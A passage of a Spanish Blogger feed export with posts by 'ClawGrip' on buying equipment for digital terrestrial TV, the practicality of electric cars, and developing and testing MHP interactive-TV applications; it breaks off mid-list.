TDT.&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;img width="410" src="http://img.photobucket.com/albums/v664/ClawGrip/cam.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Adquisici&amp;oacute;n de un m&amp;oacute;dulo CAM&lt;/b&gt;. Como hemos dicho, esto m&amp;oacute;dulos se insertan en la ranura DVB-CI y cuentan a su vez con un z&amp;oacute;calo para alojar una tarjeta inteligente. Conviene comentar que algunos descodificadores no tienen ranura DVB-CI pero s&amp;iacute; ranura para lectura de tarjeta inteligente &amp;iquest;Nos vale entonces? En teor&amp;iacute;a s&amp;iacute;, ya que eso significa en la mayor&amp;iacute;a de los casos que el m&amp;oacute;dulo CAM viene ya integrado y no es necesario a&amp;ntilde;adirlo, pero hay que tener un poco de cuidado:&lt;br&gt;&lt;ul&gt;&lt;li&gt;Hay que asegurarse de que la ranura para lectura de tarjeta inteligente es compatible con la normativa DVB-CA (acceso condicional).&lt;/li&gt;&lt;li&gt;Puede ser que el descodificador necesite software adicional (que en otro caso vendr&amp;iacute;a preinstalado en el m&amp;oacute;dulo CAM), por lo que el fabricante debe proporcionarnos actualizaciones del software del descodificador si es necesario. Y hemos dicho que debe proporcionarnos las actualizaciones (emiti&amp;eacute;ndolas con la se&amp;ntilde;al de los canales de TDT o por otro medio), y no &amp;uacute;nicamente asegurarnos que el descodificador es actualizable.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p align="center"&gt;&lt;img width="410" src="http://img.photobucket.com/albums/v664/ClawGrip/cam_2.jpg"&gt;&lt;/p&gt;&lt;p&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Adquisici&amp;oacute;n de una tarjeta inteligente prepago para TDT&lt;/b&gt;. La idea es que se vendan en kioscos, grandes superficies, etc. con cargas iniciales de saldo que oscilar&amp;iacute;an entre 10 y 60 €. No os preocup&amp;eacute;is por esto, ya se encargar&amp;aacute;n de publicitarlo bien cuando se pongan a la venta...&lt;/li&gt;&lt;/ul&gt;&lt;/p&gt;&lt;p&gt;Bueno, y yo creo que si encontramos un equipo que soporte todas estas caracter&amp;iacute;sticas (tarea dif&amp;iacute;cil), tenemos asegurada la compatibilidad con todas las novedades de la TDT por mucho tiempo, pero seguro que os ha surgido una pregunta: &amp;iquest;Y porque nadie me ha informado antes de todo esto?&lt;/p&gt;&lt;p&gt;Esa es la pregunta clave. Un usuario mal informado (o no informado en absoluto) casi seguro comprar&amp;aacute; su televisor o descodificador sin alguna de las prestaciones antes enumeradas, y s&amp;iacute;, algunos renovar&amp;aacute;n equipos para estar a la &amp;uacute;ltima y no perderse nada, pero la inmensa mayor&amp;iacute;a se encontrar&amp;aacute;n frustrados por no poder acceder a todos los servicios de la TDT y con un buen enfado por no haber comprado otro modelo. &amp;iquest;Y con qui&amp;eacute;n hay que enfadarse? &amp;iquest;Con el vendedor? &amp;iquest;Con el fabricante del televisor? Mi opini&amp;oacute;n es clara en este sentido: Es responsabilidad de la administraci&amp;oacute;n p&amp;uacute;blica el informar de todo esto. Como hemos comentado anteriormente, la TDT no es opcional, no va a coexistir con la televisi&amp;oacute;n anal&amp;oacute;gica, es un cambio obligado decidido por la administraci&amp;oacute;n, y es ella la encargada de guiar a los ciudadanos en el cambio.&lt;/p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/tdt.jpg"&gt;&lt;/p&gt;&lt;p&gt;Pero las campa&amp;ntilde;as informativas que ha puesto en marcha la administraci&amp;oacute;n no hablan de todas estas novedades y adelantos, &amp;uacute;nicamente hablan de que vamos a tener m&amp;aacute;s canales gratuitos y que ofrece mejor calidad, y para que sepamos que comprar en las tiendas ha creado el logo de la TDT, que no garantiza compatibilidad con la interactividad, ni con el DNI electr&amp;oacute;nico, ni con la alta definici&amp;oacute;n, ni con los futuros contenidos de pago… Eso, s&amp;iacute;, si tiene el logo de TDT vamos ver muchos canales gratis, que parece ser lo &amp;uacute;nico importante.&lt;/p&gt;&lt;p&gt;Visto lo visto, parece que la necesidad de un programa de informaci&amp;oacute;n al ciudadano y etiquetado de productos sobre todas las prestaciones que nos ofrece la TDT empieza a ser una necesidad imperiosa, ya que cuanto m&amp;aacute;s tarde se implantes pol&amp;iacute;ticas en este sentido, mayor ser&amp;aacute; el parque de ciudadanos con equipos obsoletos, incompatibles o simplemente limitados en prestaciones. Otra ventaja directa de un programa de etiquetado, acompa&amp;ntilde;ado por una m&amp;iacute;nima homologaci&amp;oacute;n de los productos implicados, es el aseguramiento de la compatibilidad. La experiencia de nuestros vecinos italianos nos indica que no todos los televisores con ranuras de expansi&amp;oacute;n DVB-CI son realmente &amp;iacute;nter-operables, que no todas las implementaciones de televisi&amp;oacute;n digital interactiva son iguales y en resumen, que si no hay obligaci&amp;oacute;n de hacer las cosas bien, pocos son los fabricantes que lo hacen.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-8621740120105624227?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/8621740120105624227/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=8621740120105624227' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/8621740120105624227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/8621740120105624227'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2008/06/gu-de-compras-para-la-tdt.html' title='Gu&amp;iacute;a de compras para la TDT'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-5997739075661020208</id><published>2008-06-09T14:51:00.002+02:00</published><updated>2008-06-09T14:55:58.184+02:00</updated><title type='text'>Coches Eléctricos...</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/car_photo_211150_7.jpg"&gt;&lt;/p&gt;&lt;p&gt;Llevamos ya un tiempo hablando de los coches el&amp;eacute;ctricos, de que son los veh&amp;iacute;culos del futuro, de que son una soluci&amp;oacute;n al problema de escasez de hidrocarburos y a la contaminaci&amp;oacute;n que estos generan... Y el caso es que los fabricantes empiezan a poner modelos en el mercado &amp;iquest;Habr&amp;aacute; llegado la hora de considerar la adquisici&amp;oacute;n un modelo de propulsi&amp;oacute;n el&amp;eacute;ctrica? Vamos a revisar una cuesti&amp;oacute;n que parece que nadie cuenta cuando se habla de este tema en informativos y en la publicidad:&lt;/p&gt;&lt;p&gt;Un coche el&amp;eacute;ctrico tarda entre 45 minutos y tres horas en cargar completamente sus bater&amp;iacute;s, y al menos media hora para una carga parcial. &amp;iquest;Y d&amp;oacute;nde cargamos estas bater&amp;iacute;as? Se nos ofrecen dos alternativas:&lt;/p&gt;&lt;p&gt;&lt;dl&gt;&lt;dt&gt;Puntos de carga callejeros, al estilo de las gasolineras o autoservicio operados por tarjetas de cr&amp;eacute;dito, monedas o tarjetas prepago.&lt;/dt&gt;&lt;dd&gt;Vale, &amp;iquest;y tengo que quedarme media hora en la estaci&amp;oacute;n de servicio? No se yo quien puede permitirse estar media hora repostando, pero desde luego que yo no, y mucho menos si la autonom&amp;iacute;a de estos coches me obliga a repostar varias veces a la semana.&lt;br&gt;La otra soluci&amp;oacute;n que he oido proponer es que se instalen puestos de recarga en las plazas de aparcamiento callejeras, pero eso me suscita unas cuantas preguntas: &amp;iquest;Cuantos de esos puestos necesitar&amp;iacute;a una ciudad como Madrid si el 15% de sus coches fuesen el&amp;eacute;ctricos? Antes de responder a esa pregunta tened en cuenta que los coches no tienen porqu&amp;eacute; estar concentrados geogr&amp;aacute;ficamente en una misma zona, por lo que habr&amp;iacute;a que dispersar geogr&amp;aacute;ficamente estos puestos. Est&amp;aacute; claro que no son pocos, m&amp;aacute;s bien son muchos si queremos dar un servicio correcto, que no obligue a los conductores a desplazarse fuera de su ruta habitual ni a hacer colas prolongadas esperando a que otros conductores dejen libre el puesto. Adem&amp;aacute;s, tendr&amp;iacute;a el inconveniente de tener que sumar el coste de la plaza de aparcamiento a lo que cueste la electricidad (son pocas las ciudades sin "zona azul", verde o del color que les de la gana con tal de cobrar por aparcar el coche).&lt;br&gt;&amp;nbsp;&lt;/dd&gt;&lt;dt&gt;Carga mediante una toma normal de 220/240V, para poder cargar el coche en casa.&lt;/dt&gt;&lt;dd&gt;Pero... &amp;iquest;Y que pasa si no tengo un garaje individual propio? Pues sencillamente que no puedo cargar el coche. La inmensa mayor&amp;iacute;a de los conductores o no tenemos plaza, o la tenemos en un aparcamiento comunitario. Por si alguien lo ignora, una plaza en un aparcamiento comunitario, o no tiene toma el&amp;eacute;ctrica o la tiene con cargo a la comunidad de vecinos, lo cual, o nos impide cargar las bater&amp;iacute;as o nos toca robar electricidad a los vecinos (no pasar&amp;iacute;an ni dos semanas sin que se quejase alg&amp;uacute;n vecino y nos denunciasen). Por otra parte, la instalaci&amp;oacute;n el&amp;eacute;ctrica de estos aparcamientos hace muy dif&amp;iacute;cil poner contadores individuales.&lt;/dd&gt;&lt;/dl&gt;&lt;/p&gt;&lt;p&gt;Resumiendo, que si quieremos un coche el&amp;eacute;ctrico y usarlo habitualmente necesitamos un garaje individual con toma el&amp;eacute;ctrica propia, lo cual se da casi siempre en viviendas unifamiliares, y dados los tiempo que corren, para tener una vivienda unifamiliar con garaje propio hay que tener mucho dinero.&lt;/p&gt;&lt;p&gt;Mi opini&amp;oacute;n es que esto de los coches el&amp;eacute;ctricos se perfila como otro "gadget" para ricos que quieran presumir de "comprometidos con el planeta"... No gracias. Mucho (much&amp;iacute;simo) tienen que mejorar los tiempos de carga y la autonom&amp;iacute;a de los coches el&amp;eacute;ctricos para que cambie mi percepci&amp;oacute;n sobre ellos.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-5997739075661020208?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/5997739075661020208/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=5997739075661020208' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/5997739075661020208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/5997739075661020208'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2008/06/coches-el.html' title='Coches El&amp;eacute;ctricos...'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-305227847511483645</id><published>2008-04-24T09:50:00.002+02:00</published><updated>2008-04-24T09:54:22.733+02:00</updated><title type='text'>Con vistas al futuro</title><content type='html'>&lt;p&gt;Imagen curiosa que encontr&amp;eacute; en Rianxo (Coru&amp;ntilde;a): una promoci&amp;oacute;n de pisos construidos "Con vistas al futuro". Gracias a Gerardo por descubrir &amp;eacute;l primero la situaci&amp;oacute;n...&lt;p&gt;&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/vistas_futuro.jpg"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-305227847511483645?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/305227847511483645/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=305227847511483645' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/305227847511483645'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/305227847511483645'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2008/04/con-vistas-al-futuro.html' title='Con vistas al futuro'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-1417714272843792917</id><published>2007-12-28T12:03:00.000+01:00</published><updated>2008-01-09T12:32:23.771+01:00</updated><title type='text'>La realidad sobre la televisión digital terrestre interactiva en España</title><content type='html'>&lt;p&gt;Bueno, ya hemos pasado algo más de un año trabajando en la televisión digital interactiva y va siendo hora de resumir el estado de salud en la que la encontramos:&lt;/p&gt;

&lt;p&gt;¿Qué es la televisión digital terrestre interactiva?&lt;/p&gt;

&lt;p&gt;Para esto, un resumen rápido: En la televisión digital, junto con las señales de audio y vídeo, viajan otro tipo de datos, como las tablas de información del sistema o tablas SI (que son los metadatos que nos informan de lo que se está emitiendo en cada momento y la programación futura, con lo que los televisores muestran la llamada Guía Electrónica de Programación, o EPG), el teletexto (por ahora es el de siempre, solo que encanutado en digital puro), y lo que se llama carrusel de aplicaciones interactivas. En Europa, las televisiones digitales siguen las normativas marcadas por el &lt;a href="http://dvb.org/"&gt;Proyecto DVB&lt;/a&gt; (Digital Video Broadcasting), DVB-T para TDT, DVB-S/S2 para satélite, DVB-C/C2 para cable, &lt;a href="http://www.dvb-h.org/"&gt;DVB-H&lt;/a&gt; para telefonía móvil, etc.
Este carrusel es una colección de pequeñas aplicaciones Java que se emiten de forma repetitiva (por eso lo de carrusel), de forma similar al teletexto. En TDT, estas aplicaciones Java siguen la normativa &lt;a href="http://www.mhp.org/"&gt;MHP&lt;/a&gt;. En otros sistemas de televisión digital se pueden usar otros sistemas, como &lt;a href="http://www.opentv.com/"&gt;OpenTV&lt;/a&gt; (basada también en Java) en la antigua QuieroTV, MediaHighway en Digital+ (de nuevo basada en Java), &lt;a href="http://www.alcatel-lucent.com/wps/portal/products/detail?LMSG_CABINET=Solution_Product_Catalog&amp;LMSG_CONTENT_FILE=Products/Product_Detail_000178.xml"&gt;MiViewTV&lt;/a&gt; en Imagenio (no es más que un navegador Mozilla con una versión un tanto especial de JavaSCript), etc.&lt;br&gt;
Centrándonos en la normativa de la TDT, MHP (Multimedia Home Platform), nos encontramos con una extraña mezcla de normativas Java que intentan cohesionarse como pueden para formar un estándar sólido, enumero las más importantes:&lt;/p&gt;

&lt;p&gt;&lt;dl&gt;&lt;dt&gt;&lt;a href="http://java.sun.com/products/personalbasis/"&gt;JME PBP 1.1&lt;/a&gt; (Java Micro Edition Personal Basis Profile 1.1)&lt;/dt&gt;
&lt;dd&gt;Bueno, como base del lenguaje Java, MHP toma Java Micro Edition Personal Basis Profile 1.1. Esto es una buena idea, pero hubiese dido mejor si MHP hubiese seguido JME PBP desde un principio, porque las versiones iniciales de MHP (1.0.x) no siguen ninguna edición en concreto (ni JSE ni JME), y al pasar a JME PBP se han introducido ciertas incompatibilidades con las versiones previas de MHP (como por ejemplo las codificaciones por defecto en los textos, que pasan de ANSI a Unicode). Como en España cohexisten descodificadores con 1.0.x y 1.1.x (está última ya JME PBP), los que compraron primero corren el riesgo de comerse sus descodificadores con patatas sino consiguen actualizaciones (pero bueno, como fueron pocos...).&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://www.davic.org/"&gt;DAVIC&lt;/a&gt; (Digital Audio Video Council)&lt;/dt&gt;
&lt;dd&gt;Esto, como si no lo hubiese nombrado. Son una serie de interfaces de programación (API) del año de la polca para tratamiento de audio y video que, la verdad, no es muy común usar en las aplicaciones MHP, excepto en contadas ocasiones...&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://java.sun.com/products/javatv/"&gt;JavaTV&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;Esto sí. La base organizativa de las aplicaciones MHP se basa en la especificación JavaTV, un API común con otras normativas de televisión digital interactiva (como OCAP/ACAP en Estados Unidos) que parece que goza de buena salud...&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://java.sun.com/products/java-media/jmf/"&gt;JMF&lt;/a&gt; (Java Media Framework)&lt;/dt&gt;
&lt;dd&gt;¿Conoceis el API JMF para reproducción de medios en Java? No me extrañaría que no. La verdad es que es un API bastante olvidado que lleva tiempo sin actualizarse. De todas formas, si JMF para Windows/Linux/Solaris va por la versión 2.1.1 y ya es antiguo... En MHP ha decidido adoptar la 1.0 y limitar sus capacidades: no reproduce video, la reproducción de audio apenas soporta formatos (MP2 y poco más), etc. Resumiendo: muy triste.&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://java.sun.com/products/satsa/"&gt;SATSA&lt;/a&gt; (Security And Trust Services API)&lt;/dt&gt;
&lt;dd&gt;El API de seguridad de JME MIDP (Mobile information Device Profile) llevado a MHP. Parece una buena idea... ¿No? Pues no tanto, me explico: de SATSA, en el fondo, solo se soporta SATSA APDU (Application Protocol Data Unit), que es un API básico para comunicación con un lector de tarjetas inteligentes, quedando no soportadas por MHP SATSA PKI (Public Key Infrastructure), que contiene la parte de certificados digitales y SATSA Crypto, la parte de criptografía. El estado en el que nos deja esto es un tanto extraño, porque para criptografía y certificados usamos la infraestructura de JSE (JCE/JCA, Java Cryptography Extension, Java Cryptography Architecture) y para intercambio de APDU con una tarjeta usamos la infrestructura de JME (para esto en JSE se usa &lt;a href="http://jcp.org/en/jsr/detail?id=268"&gt;JSR-268&lt;/a&gt;, Java SmartCard I/O).&lt;br&gt;Pero bueno, todo esto sería aceptable si hubiese estado así definido desde el principio, pero no. MHP 1.0 no usaba SATSA, sino &lt;a href="http://www.opencard.org/"&gt;OCF&lt;/a&gt; (OpenCard Framerwork, un API obsoleto pero muy potente) para el intercambio de comandos con tarjetas, y por si fuese poco, en MHP 1.1.3 se introduce un nuevo API para todo esto, RawConnection, que es más flexible que SATSA y facilita trabajos complejos con tarjetas inteligentes.&lt;/dd&gt;

&lt;dt&gt;DVB-J (Digital Video Broadcasting Java)&lt;/dt&gt;
&lt;dd&gt;Es la parte de MHP dependiente de la normativa de televisión digital usada por debajo. Conviene no usarla más que lo imprescindible, pero siempre es necesario. En otras plataformas que usan MHP pero que no estan normalizadas por DVB, DVB-J se sustituye por otras API quivalentes, como por ejemplo BD-J (BluRay Disc Java) en BluRay (sí, BluRay soporta MHP en las películas).&lt;/dd&gt;

&lt;dt&gt;&lt;a href="http://www.havi.org/"&gt;HAVi&lt;/a&gt; (Home Audio Video Interoperability)&lt;/dt&gt;
&lt;dd&gt;HAVi es una colección de elementos de interfaz gráfica basados en el AWT (Abstract Window Toolkit) de JSE y adaptados para su uso en televisión interactiva. Bueno, en el fondo HAVi es mucho más que interfaces gráficas (interoperabilidad e interconexion de equipos de audio y video domésticos por IEE1394), pero MHP solo usa esta parte de él. ¿Algún problema con HAVi? Pues sí. Además de ser algo parco, su principal problema es que un mismo elemento gráfico de HAVi (por ejemplo, un botón en pantalla) se ve distinto según la marca y modelo de descodificador, con lo que no es posible construir interfaces uniformes usando HAVi, y al final termina siendo necesario evitar su uso y contruirse uno mismo los elementos de interfaz usando AWT como base.&lt;/dd&gt;&lt;/dl&gt;&lt;/p&gt;

&lt;p&gt;Bueno, el caso es que al final, usando todas estas API, una aplicación MHP no deja de ser como una aplicación Java de escritorio (o "cliente pesado") con capacidad de conexión a la red y con la peculiaridad de que el interfaz de entrada es un mando a distancia. Las aplicaciones se descargan por completo por vía aérea (por la antena de televisión) y se ejecutan localmente en el descodificador. Todos los descodificadores que soportan MHP tienen un interfaz de red para que las aplicaciones se conecten, normalmente a Internet. Este interfaz es el llamado "canal de retorno", y es una toma de teléfono con un módem interno en los más cutres y una toma Ethernet (para el ADSL, etc.) en los más completos.&lt;/p&gt;

&lt;p&gt;Bueno, visto más o menos, esto es MHP... ¿Necesitamos saber algo más?&lt;/p&gt;

&lt;p&gt;Yo añadiría que en el mercado existen principalmente dos implementaciones de MHP, independientemente de la marca que comercialice los descodificadores: &lt;a href="http://www.osmosys.tv/"&gt;Osmosys&lt;/a&gt; y &lt;a href="http://www.alticast.com/"&gt;Alticast&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;dl&gt;
 &lt;dt&gt;Osmosys&lt;/dt&gt;
 &lt;dd&gt;De origen suizo (aunque se desarrolla principalmente en Polonia), es una implementación muy completa, puntera (son los primeros en incorporar las nuevas versiones) y de alta calidad. Soporta principalmente procesadores ST y lo encontramos en equipos de las marcas Strong, iCAN, ADB, Inves (no todos), &lt;a href="http://www.engel.es/"&gt;Engel&lt;/a&gt;, TeleSystem, Grundig, etc.&lt;/dd&gt;

 &lt;dt&gt;Alticast&lt;/dt&gt;
 &lt;dd&gt;De origen coreano, es una implementación de bajo coste que implementa lo mínimo imprescindible. Soporta igualmente procesadores ST como primera opción, y aunque existe para otras arquitecturas (como PowerPC), tienen más problemas y conviene evitarlas. Encontramos implementaciones de MHP de Alticast en descodificadores marca HuMAX, Hyundai, Inves (solo un modelo), Maat-Media, etc.&lt;/dd&gt;

&lt;/dl&gt;&lt;/p&gt;

&lt;p&gt;Hay otras implementaciones, como &lt;a href="http://www.nds.com/"&gt;NDS&lt;/a&gt; (que montaban hace tiempo los descodificadores de Philips), pero funcionan bastante peor que las dos enteriores y apenas se venden en España.&lt;/p&gt;

&lt;p&gt;Y otra cosa... &amp;iquest;C&amp;oacute;mo se desarrollan las aplicaciones MHP?&lt;/p&gt;

&lt;p&gt;Pues para esto tenemos dos opciones, o un entorno de autoría, que suponen que con el ratón y sin saber Java se pueden hacer aplicaciones, pero que solo consiguen que construyamos aplicaciones bobas que más parecen una presentación PowerPoint que algo serio, o un entorno de programación serio.&lt;/p&gt;

&lt;p&gt;En la primera categoría tenemos productos como &lt;a href="http://www.mit-xperts.com/products/idesigner/"&gt;iDesigner&lt;/a&gt;, &lt;a href="http://www.emuse-tech.com/solutions_products_authoring.html"&gt;Emuse ModelStream&lt;/a&gt;, Alticast AltiComposer, Cardinal Studio, etc. En general son todos poco recomendables, y es casi mejor aprender Java y MHP y hacer las aplicaciones uno mismo programando, aunque para hacer cuatro cosillas nos pueden valer. Algunos dejan luego introducir código Java a mano para completar las aplicaciones, aunque hay que tener cuidado, ya que muchas veces no es Java MHP, sino un "scripting" propietario (pasa en AltiComposer, iDesigner, etc.) o Java con interfaces propios (ModelStream).&lt;/p&gt;

&lt;p&gt;En la segunda tenemos dos opciones de fiar, Osmosys SDK y &lt;a href="http://www.nds.com/middleware/mhdk.html"&gt;NDS MHDK&lt;/a&gt; (el precio de una licencia ronda los 3.000 € en ambos casos):&lt;/p&gt;

&lt;p&gt;El primero, Osmosys SDK, es un producto de calidad, que se instala como "plugin" de Eclipse y que incluye un emulador software para probar las aplicaciones en PC, así como un interfaz para subir aplicaciones a un descodificador por puerto serie (vale cualquiera que incluya la implementación MHP de Osmosys. La gente de Osmosys es amable solucionando bugs del entorno y el entorno se actualiza con frecuencia. Usa una llave USB como protección anticopia.&lt;/p&gt;

&lt;p&gt;El otro, NDS MHDK, se instala como "plugin" de Eclipse o de NetBeans (un buen detalle soportar este último), e incluye también un emulador software, bastante más completo que el de Osmosys, ya que soporta características avanzadas, como tablas SI simuladas y control de parámetros de emisión. El problema es que el emulador simula la implamentación MHP de NDS, que tiene ciertos bugs e incompatibilidades que lo hacen molesto, ya que nos obliga a probar las aplicaciones tanto en su emulador como en descodificadores con Osmosys y Alticast si quieremos asegurarnos que funcionan bien en todos los cacharros (esto pasa también en Osmosys SDK, pero en menor medida). También soporta la carga por puerto serie en descodificadores MHP, aunque solo soporta un modelo de Philips. La gente de NDS en Francia también son muy amables y sin problema envían versiones de evaluación.&lt;/p&gt;

&lt;p&gt;Vale, tenemos el entorno de programación... ¿Nos vale con eso? desgraciadamente no. Como cada fabricante ha implementado MHP a su manera (es un problema grave de MHP 1.0.x y 1.1.x, ya que no pasan un conjunto de pruebas severo para homologar las implementaciones), el que tengamos una aplicación funcionando en un entorno de desarrollo y en uno o dos descodificadores hardware no nos garantiza que funcione o se vea bien en todos los del mercado. Si cada fabricante facilitase las herramientas para cargar aplicaciones por puerto serie, nos bastaría con comprar una pila de descodificadores representativa del mercado, pero como no es así, necesitamos montarnos una mini cabecera de televisión para pruebas de aplicaciones MHP. Una configuración mínima consistiría en los siguientes equipos:&lt;/p&gt;

&lt;p&gt;&lt;dl&gt;
&lt;dt&gt;Carrusel&lt;/dt&gt;
&lt;dd&gt;Es donde se publican las aplicaciones MHP, suele residir en un hardware dedicado. Hay marcas y modelos para todos los gustos, yo uso uno llamado &lt;a href="http://www.s-and-t.com/"&gt;S&amp;T&lt;/a&gt; TSBroadcaster/TSPlayer (en Sun Solaris SPARC), pero podemos también mirar el Alticast AltiSynchro, Thales/&lt;a href="http://www.thomsongrassvalley.com/"&gt;Thomson GrassValley&lt;/a&gt;, e incluso uno gratuito (bajo Linux), Cineca, de origen italiano. Como todos los componentes de una cabecera de televisión se conectan mediante interfaces ASI (Interfaz Serie Asíncrono), necesitaremos una placa ASI (acostumbran a ser tarjetas PCI), que suele también multiplexar (unir varias señales en una) la señal del carrusel con una externa.&lt;br&gt;Normalmente, el carrusel nos permite además multiplexar por software una señal de audio y una de video (a partir de un "Transport Stream" MPEG2 en disco) , con lo que ya tenemos todo lo que queremos emitir en una única señal ASI sin necesidad de más cacharros. El precio ronda los 20.000 € con todo el hardware incluido.&lt;/dd&gt;

&lt;dt&gt;Modulador&lt;/dt&gt;
&lt;dd&gt;La señal ASI de salida del carrusel (y las otras señales ASI que tengamos) hay que modularla, normalmente en DVB-T (TDT). El modulador pilla una entrada ASI y nos da una salida modulada, que contectaremos directamente con un cable normal de antena (coaxial 75 Ohm.) a la toma de antena de nuestro descodificador (se suele poner un atenuador, para que no nos de calambrazos al tocar metal, pero no es obligatorio...). Hay moduladores profesionales para rack (yo uso un &lt;a href="http://www.protelevision.com/index.php"&gt;ProTelevision&lt;/a&gt;) o de andar por casa por USB, que incluso pueden ellos multiplexar el audio y el video desde un "Transport Stream" MPEG2 en disco), cosa útil si tu carrusel no lo soporta... ¿El precio? Uno profesional vale unos 20.000 €, y uno USB algo más de 3.000 €.&lt;/dd&gt;

&lt;dt&gt;Servidor de tablas&lt;/dt&gt;
&lt;dd&gt;Esto es opcional, pero si nuestra aplicación necesita leer las tablas SI de metadatos (cosa rara), necesitamos un servidor de tablas, que o lo instalamos con el carrusel y multiplexamos por software o compramos uno aparte (de nuevo mirad Thales/Thomson GrassValley). El precio supera los 10.000 € incluyendo el hardware.&lt;/dd&gt;

&lt;/dl&gt;&lt;/p&gt;

&lt;p&gt;Con este equipo solo necesitamo ya una buena colección de descodificadores MHP (intentando alternar entre los que incorporan MHP de Osmosys y de Alticast, y uno o dos de NDS) e ir probando con nuestra mini cabecera las aplicaciones en todos ellos, asegurándonos que funcionan y se ven bien siempre. Que no se me olvide una cosilla: para crear un "Transport Stream" MPEG 2 en formato DVB podéis usar programas como "&lt;a href="http://www.mainconcept.com/"&gt;MainConcept&lt;/a&gt; MPEG Encoder" (hay "cracks" disponibles, por si sois malas personas y os da por piratear) o "&lt;a href="http://www.lilapple.com/mp2tsmm.html"&gt;Manzanita MP2TSMM&lt;/a&gt;" (yo uso este último, usa llave hardware USB como protección, funciona en Windows y Solaris SPARC y vale algo menos de 3.000 €).&lt;/p&gt;

&lt;p&gt;Pues sabiendo lo que es MHP, como programarlo y como probar las aplicaciones... ¡Ya estamos listos para crear servicios de televisión digital interactiva!&lt;/p&gt;

&lt;p&gt;Lo malo de las aplicaciones de televisión digital interactiva es que no son como las de Internet, en las que un &lt;i&gt;hosting&lt;/i&gt; vale dos duros, aquí, quien aloja nuestras aplicaciones, es un canal de televisión, que hay pocos y no tienen especialmente buenos precios... Para hacernos una idea, RTVE viene a cobrar (aprox.) unos XXXXXX € anuales pòr alojar una aplicación con tamaño máximo de 150 Kb. las 24 horas del día. No es especialmente barato ¿verdad? Si os llama la atención el límite de 150 Kb., no es a mala leche, el espacio de carrusel es muy limitado (cuanto más tamaño en Kb. se publique, más lenta irá la descarga, recordad que va en carrusel, por lo que cuando más pesado sea este, más tarda en dar la vuelta), y RTVE prefiere tener 10 o 15 aplicaciones distintas, pequeñitas, bien pensadas y que tarden poco en cargar, que 5 grandes con información que nadie quiere. Las autonómicas suelen relajar un poco este límite, pero tampoco demasiado (unos 300 Kb.). Si estáis pensando en descargar vía aérea lo mínimo imprescindible y luego ya por Internet (a priori sin ningún límite) ir bajando lo que necesitemos, tened un par de cosas en cuenta:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Muchos descodificadores vendidos (los Engel y los Inves/iCAN, para ser más precisos y nombrar los más extendidos) no tienen Ethernet, solo módem. Ya no es que vaya a ir un poco lento, es que la mayoría de los usuarios no van a conectar sus descodificadores a la línea telefónica, en parte por desconfianza por la factura (completamente justificada), en parte por no tener la línea ocupada.&lt;/li&gt;

